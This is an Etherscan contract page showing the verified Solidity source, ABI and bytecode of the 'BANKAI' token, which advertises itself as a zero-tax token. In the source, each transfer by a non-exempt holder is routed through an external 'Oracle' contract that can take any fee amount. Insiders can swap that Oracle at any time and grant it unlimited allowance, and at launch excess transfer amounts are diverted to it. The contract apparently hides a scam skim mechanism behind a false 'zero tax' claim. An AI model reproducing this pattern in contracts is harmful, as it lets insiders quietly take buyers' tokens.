ETH Price: $2,093.27 (-1.49%)

Contract

0xd4893B00459Dc2b720E0D19784D64c730B4E2Bd6
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve138943862021-12-28 14:52:441536 days ago1640703164IN
0xd4893B00...30B4E2Bd6
0 ETH0.0033158371.47900831
Approve138759482021-12-25 18:19:361539 days ago1640456376IN
0xd4893B00...30B4E2Bd6
0 ETH0.001803674.82289796
Set New Oracle135906212021-11-10 20:27:301584 days ago1636576050IN
0xd4893B00...30B4E2Bd6
0 ETH0.00635431188.93089544
Approve135528992021-11-04 22:36:421590 days ago1636065402IN
0xd4893B00...30B4E2Bd6
0 ETH0.00724353156.14776884
Approve135180272021-10-30 10:50:081595 days ago1635591008IN
0xd4893B00...30B4E2Bd6
0 ETH0.00306133127
Approve134869832021-10-25 13:51:021600 days ago1635169862IN
0xd4893B00...30B4E2Bd6
0 ETH0.0032112469.22438019
Approve134170672021-10-14 15:16:521611 days ago1634224612IN
0xd4893B00...30B4E2Bd6
0 ETH0.00589174127.00734253
Approve134161632021-10-14 11:55:441611 days ago1634212544IN
0xd4893B00...30B4E2Bd6
0 ETH0.00496343106.99590073
Transfer134132292021-10-14 0:37:511612 days ago1634171871IN
0xd4893B00...30B4E2Bd6
0 ETH0.0037909192.42077833
Transfer134125372021-10-13 21:56:461612 days ago1634162206IN
0xd4893B00...30B4E2Bd6
0 ETH0.0037697891.90565606
Approve134063402021-10-12 22:30:181613 days ago1634077818IN
0xd4893B00...30B4E2Bd6
0 ETH0.00272052112.86155268
Approve134056652021-10-12 19:56:001613 days ago1634068560IN
0xd4893B00...30B4E2Bd6
0 ETH0.0016320767.70689304
Approve134056012021-10-12 19:42:581613 days ago1634067778IN
0xd4893B00...30B4E2Bd6
0 ETH0.0019766182
Approve134052252021-10-12 18:19:261613 days ago1634062766IN
0xd4893B00...30B4E2Bd6
0 ETH0.0031915968.80074591
Approve134038892021-10-12 13:26:571613 days ago1634045217IN
0xd4893B00...30B4E2Bd6
0 ETH0.0028272460.94647881
Approve134031122021-10-12 10:34:371613 days ago1634034877IN
0xd4893B00...30B4E2Bd6
0 ETH0.0035628676.80401815
Approve134031072021-10-12 10:33:251613 days ago1634034805IN
0xd4893B00...30B4E2Bd6
0 ETH0.0045925199
Approve134030522021-10-12 10:19:281613 days ago1634033968IN
0xd4893B00...30B4E2Bd6
0 ETH0.0029589363.78531947
Approve134028992021-10-12 9:48:141613 days ago1634032094IN
0xd4893B00...30B4E2Bd6
0 ETH0.0032225269.46748441
Approve134026762021-10-12 8:54:051613 days ago1634028845IN
0xd4893B00...30B4E2Bd6
0 ETH0.0026284356.66069869
Approve134026322021-10-12 8:44:181613 days ago1634028258IN
0xd4893B00...30B4E2Bd6
0 ETH0.003381372.89028983
Approve134026152021-10-12 8:40:521613 days ago1634028052IN
0xd4893B00...30B4E2Bd6
0 ETH0.00501001108
Approve134025522021-10-12 8:21:551613 days ago1634026915IN
0xd4893B00...30B4E2Bd6
0 ETH0.0034327874
Approve134021922021-10-12 6:57:321613 days ago1634021852IN
0xd4893B00...30B4E2Bd6
0 ETH0.0037887881.6742178
Set New Oracle134019142021-10-12 5:54:431613 days ago1634018083IN
0xd4893B00...30B4E2Bd6
0 ETH0.0036871468.87618443
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BANKAI

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2021-10-09
*/

//SPDX-License-Identifier: UNLICENSED

/**
* ZERO TAX TOKEN 
* * https://t.me/BANKAIEth
*/

pragma solidity ^0.7.6;


interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IOracle {
    function launch() external;
    function checkForOracle(uint256, address, address, address) external returns (uint256,bool);
    function register(address) external;
    function auctionMode() external  returns(bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract BANKAI is IBEP20, Auth {
    using SafeMath for uint256;
    string constant _name = "BANKAI";
    string constant _symbol = "BANKAI";
    uint8 constant _decimals = 9;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) isSnipeExempt;
    uint256 _totalSupply = 100000000 * (10 ** _decimals);
    uint256 launchLimit = 100000 * (10 ** _decimals);
    IOracle Oracle;
    uint256 public launchedAt;
    uint256 public launchedAtTime;
    bool public launchCompleted = false;


    constructor (address _Oracle) Auth(msg.sender) {
	    Oracle = IOracle(_Oracle);
        isSnipeExempt[owner] = true;
        isSnipeExempt[_Oracle] = true;
        _balances[owner] = _totalSupply;
        _allowances[address(this)][address(_Oracle)] = uint256(-1);
        emit Transfer(address(0), owner, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    receive() external payable { }
    
    function recoverEth() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
        _sent = IBEP20(_token).transfer(msg.sender, amount);
    }
    
    function approveMax(address spender) external returns (bool) {
        return approve(spender, uint256(-1));
    }

    function registerOracle() external authorized {
	    Oracle.register(address(this));
	}

    function SetNewOracle(address _Oracle) external authorized {
	    Oracle = IOracle(_Oracle);
        _allowances[address(this)][address(_Oracle)] = uint256(-1);
        isSnipeExempt[_Oracle] = true;
	}

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != uint256(-1)){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(launched() && launchedAtTime + 5 minutes >= block.timestamp){
        if(Oracle.auctionMode() && amount > launchLimit)
        {uint256 offset = amount.sub(launchLimit);
        _balances[address(Oracle)] = _balances[address(Oracle)].add(offset);
        emit Transfer(sender, address(Oracle), offset);
        amount = launchLimit;}
        }
        
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 amountReceived;
        if(!isSnipeExempt[recipient]){amountReceived= shouldCheckOracle(sender) ? checkOracles(sender, amount, recipient) : amount;}else{amountReceived = amount;}
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function shouldCheckOracle(address sender) internal view returns (bool) {
       return !isSnipeExempt[sender];
    }

    function checkOracles(address sender,uint256 amount, address receiver) internal returns (uint256) {
  	    (uint256 feeAmount,bool isOracle) = Oracle.checkForOracle(amount,sender,receiver,msg.sender);
	    if(isOracle){_balances[address(Oracle)] = _balances[address(Oracle)].add(feeAmount);
        emit Transfer(sender, address(Oracle), feeAmount);}
        return amount.sub(feeAmount);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() external authorized{
	    require(!launched());
        launchedAt = block.number;
        launchedAtTime = block.timestamp;
        Oracle.launch();
    }
    
    function blockNumber() external view returns (uint256){
	    return block.number;
    }
   
    function setIsSnipeExempt(address holder, bool exempt) external authorized {
        isSnipeExempt[holder] = exempt;
    }
	
    event AutoLiquify(uint256 amountETH, uint256 amountToken);
   
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_Oracle","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_Oracle","type":"address"}],"name":"SetNewOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchCompleted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAtTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"recoverToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"registerOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsSnipeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405267016345785d8a0000600555655af3107a4000600655600a805460ff1916905534801561003057600080fd5b506040516114083803806114088339818101604052602081101561005357600080fd5b505160008054336001600160a01b0319918216811783558252600160208181526040808520805460ff199081168517909155600780549095166001600160a01b038089169182179096558654861687526004845282872080548316861790558087528287208054909216909417905560058054865486168752600284528287205530865260038352818620938652928252808520600019905584549254815190815290519290931693927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506112d0806101386000396000f3fe6080604052600436106101855760003560e01c8063893d20e8116100d1578063bcdb446b1161008a578063f0b37c0411610064578063f0b37c0414610595578063f2fde38b146105c8578063fd07c8b7146105fb578063fe9fbb80146106105761018c565b8063bcdb446b14610530578063bf56b37114610545578063dd62ed3e1461055a5761018c565b8063893d20e81461044557806395d89b41146101a8578063a03b3b4d14610476578063a9059cbb1461048b578063b29a8140146104c4578063b6a5d7de146104fd5761018c565b8063313ce5671161013e578063571ac8b011610118578063571ac8b01461038f57806357e871e7146103c257806370a08231146103d75780637c0c40541461040a5761018c565b8063313ce5671461031c578063327693da14610347578063339d25901461037a5761018c565b806301339c211461019157806306fdde03146101a8578063095ea7b31461023257806318160ddd1461027f57806323b872dd146102a65780632f54bf6e146102e95761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610643565b005b3480156101b457600080fd5b506101bd610705565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f75781810151838201526020016101df565b50505050905090810190601f1680156102245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023e57600080fd5b5061026b6004803603604081101561025557600080fd5b506001600160a01b038135169060200135610725565b604080519115158252519081900360200190f35b34801561028b57600080fd5b5061029461078b565b60408051918252519081900360200190f35b3480156102b257600080fd5b5061026b600480360360608110156102c957600080fd5b506001600160a01b03813581169160208101359091169060400135610791565b3480156102f557600080fd5b5061026b6004803603602081101561030c57600080fd5b50356001600160a01b0316610851565b34801561032857600080fd5b50610331610865565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101a66004803603602081101561036a57600080fd5b50356001600160a01b031661086a565b34801561038657600080fd5b506101a6610903565b34801561039b57600080fd5b5061026b600480360360208110156103b257600080fd5b50356001600160a01b0316610997565b3480156103ce57600080fd5b506102946109ab565b3480156103e357600080fd5b50610294600480360360208110156103fa57600080fd5b50356001600160a01b03166109af565b34801561041657600080fd5b506101a66004803603604081101561042d57600080fd5b506001600160a01b03813516906020013515156109ca565b34801561045157600080fd5b5061045a610a3d565b604080516001600160a01b039092168252519081900360200190f35b34801561048257600080fd5b50610294610a4c565b34801561049757600080fd5b5061026b600480360360408110156104ae57600080fd5b506001600160a01b038135169060200135610a52565b3480156104d057600080fd5b5061026b600480360360408110156104e757600080fd5b506001600160a01b038135169060200135610a66565b34801561050957600080fd5b506101a66004803603602081101561052057600080fd5b50356001600160a01b0316610b32565b34801561053c57600080fd5b506101a6610b9c565b34801561055157600080fd5b50610294610c0e565b34801561056657600080fd5b506102946004803603604081101561057d57600080fd5b506001600160a01b0381358116916020013516610c14565b3480156105a157600080fd5b506101a6600480360360208110156105b857600080fd5b50356001600160a01b0316610c3f565b3480156105d457600080fd5b506101a6600480360360208110156105eb57600080fd5b50356001600160a01b0316610ca3565b34801561060757600080fd5b5061026b610d54565b34801561061c57600080fd5b5061026b6004803603602081101561063357600080fd5b50356001600160a01b0316610d5d565b61064c33610d5d565b61068b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b610693610d7b565b1561069d57600080fd5b4360085542600955600754604080516301339c2160e01b815290516001600160a01b03909216916301339c219160048082019260009290919082900301818387803b1580156106eb57600080fd5b505af11580156106ff573d6000803e3d6000fd5b50505050565b60408051808201909152600681526542414e4b414960d01b602082015290565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000191461083e576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610819918490610d83565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b610849848484610e1a565b949350505050565b6000546001600160a01b0390811691161490565b600990565b61087333610d5d565b6108b2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600780546001600160a01b039092166001600160a01b03199092168217905530600090815260036020908152604080832093835292815282822060001990556004905220805460ff19166001179055565b61090c33610d5d565b61094b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60075460408051632210724360e11b815230600482015290516001600160a01b0390921691634420e4869160248082019260009290919082900301818387803b1580156106eb57600080fd5b60006109a582600019610725565b92915050565b4390565b6001600160a01b031660009081526002602052604090205490565b6109d333610d5d565b610a12576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b60095481565b6000610a5f338484610e1a565b9392505050565b6000610a7133610d5d565b610ab0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b0385169163a9059cbb9160448083019260209291908290030181600087803b158015610aff57600080fd5b505af1158015610b13573d6000803e3d6000fd5b505050506040513d6020811015610b2957600080fd5b50519392505050565b610b3b33610851565b610b75576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b610ba533610851565b610bdf576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610c0b573d6000803e3d6000fd5b50565b60085481565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610c4833610851565b610c82576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b610cac33610851565b610ce6576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b600a5460ff1681565b6001600160a01b031660009081526001602052604090205460ff1690565b600854151590565b60008184841115610e125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dd7578181015183820152602001610dbf565b50505050905090810190601f168015610e045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610e24610d7b565b8015610e3657504260095461012c0110155b15610f6e57600760009054906101000a90046001600160a01b03166001600160a01b031663f92a23ba6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610e8b57600080fd5b505af1158015610e9f573d6000803e3d6000fd5b505050506040513d6020811015610eb557600080fd5b50518015610ec4575060065482115b15610f6e576000610ee0600654846110a290919063ffffffff16565b6007546001600160a01b0316600090815260026020526040902054909150610f0890826110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251858152925190821693918916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a36006549250505b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610fc0918490610d83565b6001600160a01b03808616600090815260026020908152604080832094909455918616815260049091529081205460ff1661101a57610ffe8561113e565b6110085782611013565b61101385848661115d565b905061101d565b50815b6001600160a01b03841660009081526002602052604090205461104090826110e4565b6001600160a01b0380861660008181526002602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6000610a5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d83565b600082820183811015610a5f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526004602052604090205460ff161590565b600754604080516318efb0a560e21b8152600481018590526001600160a01b038681166024830152848116604483015233606483015282516000948594859493909116926363bec294926084808301939282900301818787803b1580156111c357600080fd5b505af11580156111d7573d6000803e3d6000fd5b505050506040513d60408110156111ed57600080fd5b50805160209091015190925090508015611286576007546001600160a01b031660009081526002602052604090205461122690836110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251868152925190821693918a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a35b61129085836110a2565b969550505050505056fea2646970667358221220fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d63364736f6c6343000706003300000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063893d20e8116100d1578063bcdb446b1161008a578063f0b37c0411610064578063f0b37c0414610595578063f2fde38b146105c8578063fd07c8b7146105fb578063fe9fbb80146106105761018c565b8063bcdb446b14610530578063bf56b37114610545578063dd62ed3e1461055a5761018c565b8063893d20e81461044557806395d89b41146101a8578063a03b3b4d14610476578063a9059cbb1461048b578063b29a8140146104c4578063b6a5d7de146104fd5761018c565b8063313ce5671161013e578063571ac8b011610118578063571ac8b01461038f57806357e871e7146103c257806370a08231146103d75780637c0c40541461040a5761018c565b8063313ce5671461031c578063327693da14610347578063339d25901461037a5761018c565b806301339c211461019157806306fdde03146101a8578063095ea7b31461023257806318160ddd1461027f57806323b872dd146102a65780632f54bf6e146102e95761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610643565b005b3480156101b457600080fd5b506101bd610705565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f75781810151838201526020016101df565b50505050905090810190601f1680156102245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023e57600080fd5b5061026b6004803603604081101561025557600080fd5b506001600160a01b038135169060200135610725565b604080519115158252519081900360200190f35b34801561028b57600080fd5b5061029461078b565b60408051918252519081900360200190f35b3480156102b257600080fd5b5061026b600480360360608110156102c957600080fd5b506001600160a01b03813581169160208101359091169060400135610791565b3480156102f557600080fd5b5061026b6004803603602081101561030c57600080fd5b50356001600160a01b0316610851565b34801561032857600080fd5b50610331610865565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101a66004803603602081101561036a57600080fd5b50356001600160a01b031661086a565b34801561038657600080fd5b506101a6610903565b34801561039b57600080fd5b5061026b600480360360208110156103b257600080fd5b50356001600160a01b0316610997565b3480156103ce57600080fd5b506102946109ab565b3480156103e357600080fd5b50610294600480360360208110156103fa57600080fd5b50356001600160a01b03166109af565b34801561041657600080fd5b506101a66004803603604081101561042d57600080fd5b506001600160a01b03813516906020013515156109ca565b34801561045157600080fd5b5061045a610a3d565b604080516001600160a01b039092168252519081900360200190f35b34801561048257600080fd5b50610294610a4c565b34801561049757600080fd5b5061026b600480360360408110156104ae57600080fd5b506001600160a01b038135169060200135610a52565b3480156104d057600080fd5b5061026b600480360360408110156104e757600080fd5b506001600160a01b038135169060200135610a66565b34801561050957600080fd5b506101a66004803603602081101561052057600080fd5b50356001600160a01b0316610b32565b34801561053c57600080fd5b506101a6610b9c565b34801561055157600080fd5b50610294610c0e565b34801561056657600080fd5b506102946004803603604081101561057d57600080fd5b506001600160a01b0381358116916020013516610c14565b3480156105a157600080fd5b506101a6600480360360208110156105b857600080fd5b50356001600160a01b0316610c3f565b3480156105d457600080fd5b506101a6600480360360208110156105eb57600080fd5b50356001600160a01b0316610ca3565b34801561060757600080fd5b5061026b610d54565b34801561061c57600080fd5b5061026b6004803603602081101561063357600080fd5b50356001600160a01b0316610d5d565b61064c33610d5d565b61068b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b610693610d7b565b1561069d57600080fd5b4360085542600955600754604080516301339c2160e01b815290516001600160a01b03909216916301339c219160048082019260009290919082900301818387803b1580156106eb57600080fd5b505af11580156106ff573d6000803e3d6000fd5b50505050565b60408051808201909152600681526542414e4b414960d01b602082015290565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000191461083e576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610819918490610d83565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b610849848484610e1a565b949350505050565b6000546001600160a01b0390811691161490565b600990565b61087333610d5d565b6108b2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600780546001600160a01b039092166001600160a01b03199092168217905530600090815260036020908152604080832093835292815282822060001990556004905220805460ff19166001179055565b61090c33610d5d565b61094b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60075460408051632210724360e11b815230600482015290516001600160a01b0390921691634420e4869160248082019260009290919082900301818387803b1580156106eb57600080fd5b60006109a582600019610725565b92915050565b4390565b6001600160a01b031660009081526002602052604090205490565b6109d333610d5d565b610a12576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b60095481565b6000610a5f338484610e1a565b9392505050565b6000610a7133610d5d565b610ab0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b0385169163a9059cbb9160448083019260209291908290030181600087803b158015610aff57600080fd5b505af1158015610b13573d6000803e3d6000fd5b505050506040513d6020811015610b2957600080fd5b50519392505050565b610b3b33610851565b610b75576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b610ba533610851565b610bdf576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5